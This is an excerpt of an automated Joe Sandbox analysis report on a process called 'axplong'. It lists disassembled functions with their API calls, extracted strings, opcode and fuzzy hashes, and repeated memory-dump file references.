Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 71c1553d863c1100b97075f0b97b7cff255bc992c3e5016cc818cdabce5edb93
Instruction ID: 64ac393b5425da751ccd7ac19af53b06c7ceb55a837de428821a66d7a5f5ba3a
Opcode Fuzzy Hash: 71c1553d863c1100b97075f0b97b7cff255bc992c3e5016cc818cdabce5edb93
Instruction Fuzzy Hash: 7E413C75900204AADB24EFB6EC459FBB7F9EF88310B10451EF956D3611EA38A904EF60

Function 00FBD4F4 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76dc5cf0d0a73e84177b8fcc3124a3973939bc7979fcf7fd02e1a287edce29f5
Instruction ID: 5ddd5027d7426b161bd9dcad318cd540e8854096f1503d216f92952ce14f9a6f
Opcode Fuzzy Hash: 76dc5cf0d0a73e84177b8fcc3124a3973939bc7979fcf7fd02e1a287edce29f5
Instruction Fuzzy Hash: F6611472D012148BDF25EFAAD8857EDB7A1AB55334F28412AD445AB250FA349D00EF53

Function 00F882B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00F88454

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 93a55a67492bc0b01b312bc557528112f88faae209c22b93c4725662b06c68f1
Instruction ID: 831f48227d397087e34a9c2cb4095ecb466b43b249d88da68f399d4499f89b38
Opcode Fuzzy Hash: 93a55a67492bc0b01b312bc557528112f88faae209c22b93c4725662b06c68f1
Instruction Fuzzy Hash: 73514971D002089BEF24FB68CD49BEDB775DF45350F9042A9E808A72C1EF359E809B91

Function 00FB6C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 950678be05aa53c9fbbf337a7111bb0b3f4c45771a794836a1195aa1946c13ba
Instruction ID: c6a8dad999b2559c34a2c5dbb444ca5bf6ff8ff5d76c77500151b6682602b1e1
Opcode Fuzzy Hash: 950678be05aa53c9fbbf337a7111bb0b3f4c45771a794836a1195aa1946c13ba
Instruction Fuzzy Hash: 79210A72A01208BAEB11BB669C42BEF37299F41378F114311F9247B1D1DB785E05BEA1

Function 00FB6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00FB6FB3

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 4dc30dabb9b2d25b45d5d41bce97e67b07961d9c327a71e8870b864a086c5d0e
Instruction ID: d2eb4d6744b7b2998e08c2f9eeeb1b28b9a619a8f86c9243ec1aff739fc7297c
Opcode Fuzzy Hash: 4dc30dabb9b2d25b45d5d41bce97e67b07961d9c327a71e8870b864a086c5d0e
Instruction Fuzzy Hash: FB11A27290010CAADF10DED5D945EEF77BC9B48314F505166F515E6180EB34EB44DF61

Function 00FBD6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,00FBA5ED,?,00FB74AE,?,00000000,?), ref: 00FBD730

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8b7bc08bc9a003538154196a9808e46c48aeae29d30f6fb08f8dbda3b3bec2e4
Instruction ID: 383661c17f5a4ab8cff99723d91e77194decfd0b7fa9754c409b117157993e64
Opcode Fuzzy Hash: 8b7bc08bc9a003538154196a9808e46c48aeae29d30f6fb08f8dbda3b3bec2e4
Instruction Fuzzy Hash: 76F0E932949125669B217A239C45BDB3B899F817B0B398111AC04EA181EE24DC017EF2

Function 00F96AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 00F96B65

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: cd73181adc8d6a85787f3920366fd56b4a3eab8aae9451474ec105a3c967fbb8
Instruction ID: f64ad3e808579d3fe6f3caf764a64bd9cf1041d3a9b81f2f8b076a741f83dbf5
Opcode Fuzzy Hash: cd73181adc8d6a85787f3920366fd56b4a3eab8aae9451474ec105a3c967fbb8
Instruction Fuzzy Hash: E8F0F971E10608BBCB00BB789D07B1D7B79A746B60F900348E811672E1EB38590067D3

Function 05480CBA Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001561757.0000000005480000.00000040.00001000.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5480000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96b462cb88adee6fb5affd315526f64d3dc736a0ce767884e6838edd985e9509
Instruction ID: 3e673a0144afa6b4593de3759057df882e7421425ff2f8d22cfbe75e11a2608b
Opcode Fuzzy Hash: 96b462cb88adee6fb5affd315526f64d3dc736a0ce767884e6838edd985e9509
Instruction Fuzzy Hash: 4B11B2AF16D215BCB242F6956B18AFFABAFF5C77303308427F84AC5502D285064F61B2

Function 05480D1B Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001561757.0000000005480000.00000040.00001000.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5480000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d764ed5856b2de0f9f3207dea711b5536bd5d0a6760c7f699dd0c140534c774
Instruction ID: 0fce059cfe8fa664fe184198f4eceed752823ca54354f9fe748c24b9464cb4a6
Opcode Fuzzy Hash: 7d764ed5856b2de0f9f3207dea711b5536bd5d0a6760c7f699dd0c140534c774
Instruction Fuzzy Hash: 7601205F56D2116D5102F591A71D7FD6FEBB4C33303314557E487C58029284525F91B2

Function 05480D05 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001561757.0000000005480000.00000040.00001000.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5480000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59a8788e52d5ae3c67c6332bd683ca5668c0288df65072b01628d2f25f0fe0d0
Instruction ID: cd310d63645c21a03eb99b2068aaf2c1ed0557ef602bdff1e2a0c5f6f77b84cf
Opcode Fuzzy Hash: 59a8788e52d5ae3c67c6332bd683ca5668c0288df65072b01628d2f25f0fe0d0
Instruction Fuzzy Hash: 3BF0F9EF169115BD7192E1856B18AFA67AFE0C77303308427F946C0902D2891A9F6132

Function 05480D70 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001561757.0000000005480000.00000040.00001000.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5480000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f503d674dc4adfa6eaea8f97798c0929603066eb6b473933962fb49b1604b8b
Instruction ID: b344d8a9adb6271250e5f116c456272cc47c6d13eb271487c7223bc83a15c63d
Opcode Fuzzy Hash: 7f503d674dc4adfa6eaea8f97798c0929603066eb6b473933962fb49b1604b8b
Instruction Fuzzy Hash: CAE0266F1A8111CD8191F13E2C6C7FE26DAB1D63313304A63E45AC1A41C508935F1231

Function 05480D55 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001561757.0000000005480000.00000040.00001000.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5480000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6abf67f9ab1289398d1d610891685a3cce6900d261f94c15c760a5242d17f40d
Instruction ID: ba27b3c59168cdf070465feb5fbd4f156f5c2d82684bbdcd758f9e1e67070138
Opcode Fuzzy Hash: 6abf67f9ab1289398d1d610891685a3cce6900d261f94c15c760a5242d17f40d
Instruction Fuzzy Hash: 29D0C72F07A212DC4292F129AD1CBFE6ACBB0CA3303204023E08BC1A02A609520F5271

Non-executed Functions

Function 00F8E440 Relevance: 14.8, Strings: 11, Instructions: 1000COMMON

Download Yara Rule

Strings

246122658369, xrefs: 00F8F647, 00F8F924, 00F904F7, 00F908AA
MT==, xrefs: 00F8E4A5
UD==, xrefs: 00F8EA1F, 00F8EC66
WWt=, xrefs: 00F9088D
WWp=, xrefs: 00F904DA
111, xrefs: 00F8F6B0
MJB+, xrefs: 00F8E734
#, xrefs: 00F90534
fed3aa, xrefs: 00F8FA9E
GqKudSO2, xrefs: 00F8E47F
WGt=, xrefs: 00F8F62D, 00F8F90A

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$WWt=$fed3aa
API String ID: 0-214772295
Opcode ID: caae322caafbc82da84b1e898c84867226c2b0ab16857f13556ee6d25ad63284
Instruction ID: 4d602aeec2959b05d093f0cddb330347687bac5a8a1d5b8b8a6bbe2ac62c4b88
Opcode Fuzzy Hash: caae322caafbc82da84b1e898c84867226c2b0ab16857f13556ee6d25ad63284
Instruction Fuzzy Hash: 7782F470914388DBEF14EF68CD497DD7BB6AB42304F608188E805673C2D7799A88DBD2

Function 00FC3068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00FC31E3

Strings

1#SNAN, xrefs: 00FC437A
1#INF, xrefs: 00FC439E
1#QNAN, xrefs: 00FC4381
1#IND, xrefs: 00FC4373

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 590d7676aea1bbd69463c8da658b117fb8150ddb533ac58ddd5d5cb79548842e
Instruction ID: 74b48c29e70ee53e8bf7abc5d8c69d4c4538db1af80809020b6e5bca555a4633
Opcode Fuzzy Hash: 590d7676aea1bbd69463c8da658b117fb8150ddb533ac58ddd5d5cb79548842e
Instruction Fuzzy Hash: 83C26F72E0422A8FDB25CE28DE41BE9B3B5EB84354F1441EED44DE7240E775AE85AF40

Function 00FC2BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: 2e4d470f7f91bf0ff9fad84777ab54a5c277b5a09620aa079bd1661ca0c4db47
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 59F13D72E0021A9BDF14CFA8C981BADB7B1FF88324F15826DD815A7345D731AE41DB94

Function 00F9CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00F9CE82,?,?,?,?,00F9CEB7,?,?,?,?,?,?,00F9C42D,?,00000001), ref: 00F9CB33

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 97a9e8e8e16361ea357e390cb024bdbc6eda2f9354f496f54662295486226b39
Instruction ID: 66aac58e07e5d99fb43ed6dbec2a3e90ed9b6525d9004d05a65cc028e0e3988f
Opcode Fuzzy Hash: 97a9e8e8e16361ea357e390cb024bdbc6eda2f9354f496f54662295486226b39
Instruction Fuzzy Hash: DFD02233A0303CA3CE013FA0EC099ACBB098E84B203000222E808271208A606C00BBD4

Function 00FB7D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00FB7EFF

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: c47c0e00a8a3c647b95f5652dda55cda03487f7f38133a0bebc120f03d9f4a95
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 3A51B631B0C7485ADB38BA3B88953FE77AA9FC53A0F140459D442DB682CA11DD45FF51

Function 00F84CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
